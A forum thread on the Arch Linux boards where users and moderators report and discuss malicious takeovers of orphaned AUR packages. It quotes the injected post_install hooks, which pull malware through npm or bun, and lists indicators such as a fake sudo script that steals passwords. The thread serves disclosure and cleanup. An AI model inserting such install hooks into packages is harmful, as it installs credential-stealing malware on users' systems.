You are not logged in.

#1 2026-06-11 15:32:48

darthvader
Member
From: The Beehive
Registered: 2013-12-14
Posts: 24

multiple malicious AUR updates

i just received multiple emails regarding packages i used to contribute to, with malicous updates, they all have this new .install file(or similar):

+post_install() {{
+  cd /tmp
+  npm install atomic-lockfile axios cosmiconfig uuid
+}}

packages: perl-alien-wxwidgets, premake-git, smenu, git-annex-standalone, panwriter, fatx, vbam-git, ipfs-desktop-bin

this is active and ongoing, they've been taken over by new accounts with random names and random emails.

Last edited by darthvader (Yesterday 12:36:02)

Offline

#2 2026-06-11 15:35:16

yochananmarqos
Member
Registered: 2020-02-05
Posts: 222

Re: multiple malicious AUR updates

Yes, there has been quite a flood in the last hour or so. See the recent aur-general posts.

Offline

#3 2026-06-11 15:38:17

gromit
Administrator
From: Germany
Registered: 2024-02-10
Posts: 1,536
Website

Re: multiple malicious AUR updates

The Moderation team is aware and a few of the moderators are already cleaning things up!

Offline

#4 2026-06-11 16:08:57

xsmile
Member
Registered: 2012-03-31
Posts: 33

Re: multiple malicious AUR updates

Noticed it as well. Indicators of compromise can be:
- a new systemd user service with a random name pointing to the hidden malicious binary
- a shell script at ~/.local/bin/sudo for stealing passwords
- tor network traffic

Offline

#5 2026-06-11 16:16:43

deadYokai
Member
From: Ukraine
Registered: 2026-06-11
Posts: 1
Website

Re: multiple malicious AUR updates

i have same with python-openai-harmony package


// Truth is distributed, not fixed.

Offline

#7 2026-06-11 17:24:24

gromit
Administrator
From: Germany
Registered: 2024-02-10
Posts: 1,536
Website

Re: multiple malicious AUR updates

We have a filter script to find those, see the example here: https://github.com/archlinux/contrib/pull/108

Offline

#8 Yesterday 08:21:04

Specialist
Member
Registered: 2021-12-08
Posts: 24

Re: multiple malicious AUR updates

Is there an "official" list of packages that required cleanup? Due to their Git-repo history being rewritten there is no independent way of verifying if any of ones own installed AUR packages was affected...

Offline

#9 Yesterday 10:51:05

0BADC0DE
Member
From: Regnum Utriusque Siciliae
Registered: 2018-02-21
Posts: 342

Re: multiple malicious AUR updates

https://lists.archlinux.org/archives/li … 2JHYB7ZS4/

Please, either dismiss as fake news or let everyone know.


Maybe Computers Will Never Become As Intelligent
As Humans. Surely They Won't Ever Become So Stupid.

Offline

#10 Yesterday 11:06:23

Lone_Wolf
Administrator
From: Netherlands, Europe
Registered: 2005-10-04
Posts: 15,081

Re: multiple malicious AUR updates

Not fake news and that maillist is the right place.

https://aur.archlinux.org/ wrote:

Discussion

General discussion regarding the Arch User Repository (AUR) and Package Maintainer structure takes place on aur-general.

Moderator Note
merging with https://bbs.archlinux.org/viewtopic.php?id=313892

Last edited by Lone_Wolf (Yesterday 11:08:05)


Disliking systemd intensely, but not satisfied with alternatives so focusing on taming systemd.

clean chroot building not flexible enough ?
Try clean chroot manager by graysky

Offline

#11 Yesterday 11:10:05

juglans_regia
Member
Registered: Yesterday
Posts: 2

Re: multiple malicious AUR updates

I have a few of those packages installed (like gpx-viewer and gdl from 2025-06-08). I'm struggling to figure out if they are malicious, especially since the git history seems to have been deleted?
Is there a way to know if my system is compromised, or should I just reinstall my system?

Edit: i don't even have npm installed. Is it possible that it was installed as a build dependency anyway and removed after?

Last edited by juglans_regia (Yesterday 11:11:19)

Offline

#12 Yesterday 12:17:01

V1del
Forum Moderator
Registered: 2012-10-16
Posts: 25,223

Re: multiple malicious AUR updates

If you haven't updated/installed them recently they will not yet have been affected by this. Afaik npm itself wasn't actively touched by these changes, it was just getting used to download the malware via a post install hook. This should also further drive home that the AUR is unsupported and you are somewhat supposed to vet the diffs between PKGBUILDs

Offline

#13 Yesterday 12:34:23

darthvader
Member
From: The Beehive
Registered: 2013-12-14
Posts: 24

Re: multiple malicious AUR updates

now they've changed it to using bun

for the uninitiated, a quick glance doesn't show what's nefarious

+post_install() {{
+  cd /tmp
+  bun add figures debug js-digest
+}}

Offline

#14 Yesterday 12:35:24

juglans_regia
Member
Registered: Yesterday
Posts: 2

Re: multiple malicious AUR updates

I see, thanks.

How recent is recent? I have one installed on 29 March 2026.

Yes, PKGBUILDS should be checked... but it's difficult to follow when they do more that compiling and installing files sometimes. I definitely got too used to not checking carefully.

Offline

#15 Yesterday 12:36:02

V1del
Forum Moderator
Registered: 2012-10-16
Posts: 25,223

Re: multiple malicious AUR updates

FWIW a post install trying to do anything other than a simple informational echo should make you pause regardless.

Afaik March 29 predates that, recent is in the last week

Last edited by V1del (Yesterday 12:37:01)

Offline

#16 Yesterday 12:44:01

darthvader
Member
From: The Beehive
Registered: 2013-12-14
Posts: 24

Re: multiple malicious AUR updates

since this is still active, im doing `sudo chmod -x /bin/npm /bin/bun` before using yay.

whoever is behind this, has clearly automated the whole takeover process.

Offline

#17 Yesterday 13:00:40

LoNaAleim
Member
Registered: 2020-05-20
Posts: 33

Re: multiple malicious AUR updates

Can't have nice things on the internet, sorry to the folks who have to clean up the mess. I'll buy you a drink if I ever happen to get the chance.

Do we have any way to establish time-frames during which individual AUR packages where compromised?

It appears that the malicious commits are being removed from the AUR, which makes sense to minimize the spread.
Is there a detailed enough log of pushes to the AUR or does anyone at least have an archived version of the repo before starting to remove the commits?
E.g. a hence unmodified copy of André Herbst's clone mentioned here:  https://lists.archlinux.org/archives/li … 2JHYB7ZS4/

Last edited by LoNaAleim (Yesterday 13:01:44)

Offline

#18 Yesterday 13:08:42

progandy
Member
Registered: 2012-05-17
Posts: 5,315

Re: multiple malicious AUR updates

Is there a detailed enough log of pushes to the AUR or does anyone at least have an archived version of the repo before starting to remove the commits?

You can probably use the github mirror activity log. force pushes should mostly be the reverts.
https://github.com/archlinux/aur/activity

Here for example status for two different packages:

codeclimate (restored after ~30 minutes): https://github.com/archlinux/aur/activi … odeclimate
snapd-git (compromised as of this posting): https://github.com/archlinux/aur/activity?ref=snapd-git

Last edited by progandy (Yesterday 13:19:21)


| alias CUTF='LANG=en_XX.UTF-8@POSIX ' | alias ENGLISH='LANG=C.UTF-8 ' |

Offline

#19 Yesterday 13:12:18

bboozzoo
Member
From: Poland
Registered: 2006-08-01
Posts: 129

Re: multiple malicious AUR updates

Noticed the same in https://aur.archlinux.org/packages/snapd-git which I orphaned years ago. Got adopted by a newly created account which immediately pushed some random bun crap.

Offline

#20 Yesterday 13:18:40

offbeatwitch
Member
Registered: 2020-03-13
Posts: 4

Re: multiple malicious AUR updates

I reported the malicious "atomic-lockfile" package as malware to npm and they replaced it with a security placeholder at roughly 12PM UTC. Seems the new malicious package "js-digest" is also currently unpublished:

% npm view js-digest
npm error code E404
npm error 404 Unpublished on 2026-06-12T11:53:23.722Z
npm error 404
npm error 404  'js-digest' is not in this registry.

but I'm not sure if this is also npm's doing. I can only assume the attacker will switch to another package shortly though, but at least there's one less piece of malware on npm for a short while...

Offline

#21 Yesterday 13:24:10

progandy
Member
Registered: 2012-05-17
Posts: 5,315

Re: multiple malicious AUR updates

Would it not help to block uploads for all accounts registered this month until the mess has been sorted out?


| alias CUTF='LANG=en_XX.UTF-8@POSIX ' | alias ENGLISH='LANG=C.UTF-8 ' |

Offline

#22 Yesterday 14:05:47

LoNaAleim
Member
Registered: 2020-05-20
Posts: 33

Re: multiple malicious AUR updates

It's happening again, right now: https://github.com/archlinux/aur/activi … AAAAhE-Tuf

Someone is pushing https://www.npmjs.com/package/lockfile-js to a lot of packages. The npm package even still has `atomic-lockfile` in the README.

Last edited by LoNaAleim (Yesterday 14:06:06)

Offline

#23 Yesterday 14:19:01

Sidekick
Member
Registered: 2024-06-23
Posts: 68

Re: multiple malicious AUR updates

Wait how can this happen? Arch has a very good trusted user system - to the point where it has so far deterred me from getting involved as I do not have the time for that. How can some random accounts just push code changes *and* let those go live without any kind of review system in place?

Aside from that, and being more productive: Some sort of script needs to be created that checks if a user's system is affected - someone noted a "new users" and some files further up in  the thread, but that isn't definitiive - and for that first there needs to be a way to figure out if a package is affected, then figure out which versions of that package are affected and then compare that against the installed packages. For detection, it seems like we would have to go over the git history of all AUR packages? Other people are noting that npm or something called bun are being used to install the actual malicious stuff, would that appear in the pacman logfile? Probably easier to grep over that.

Last edited by Sidekick (Yesterday 14:21:17)

Offline

#24 Yesterday 14:26:02

LoNaAleim
Member
Registered: 2020-05-20
Posts: 33

Re: multiple malicious AUR updates

Sidekick wrote:

Wait how can this happen? Arch has a very good trusted user system - to the point where it has so far deterred me from getting involved as I do not have the time for that. How can some random accounts just push code changes *and* let those go live without any kind of review system in place?

We are talking about the AUR. The fact that these packages are not vetted is pointed out in pretty much any conceivable place, including right at the top of the AURs own homepage.
https://aur.archlinux.org/

Offline

#25 Yesterday 14:28:11

progandy
Member
Registered: 2012-05-17
Posts: 5,315

Re: multiple malicious AUR updates

Sidekick wrote:

Wait how can this happen? Arch has a very good trusted user system - to the point where it has so far deterred me from getting involved as I do not have the time for that. How can some random accounts just push code changes *and* let those go live without any kind of review system in place?

Packages in the official repository are not affected, only a limited group of verified users (developers, trusted users and so on) can push there.
Someone is taking over orphaned AUR packages automatically and adding the malware. Orphaned means there is no maintainer for these packages and anyone with an AUR account can accept that maintainer role and submit updates.

Last edited by progandy (Yesterday 14:29:48)


| alias CUTF='LANG=en_XX.UTF-8@POSIX ' | alias ENGLISH='LANG=C.UTF-8 ' |

Offline

Board footer

Powered by FluxBB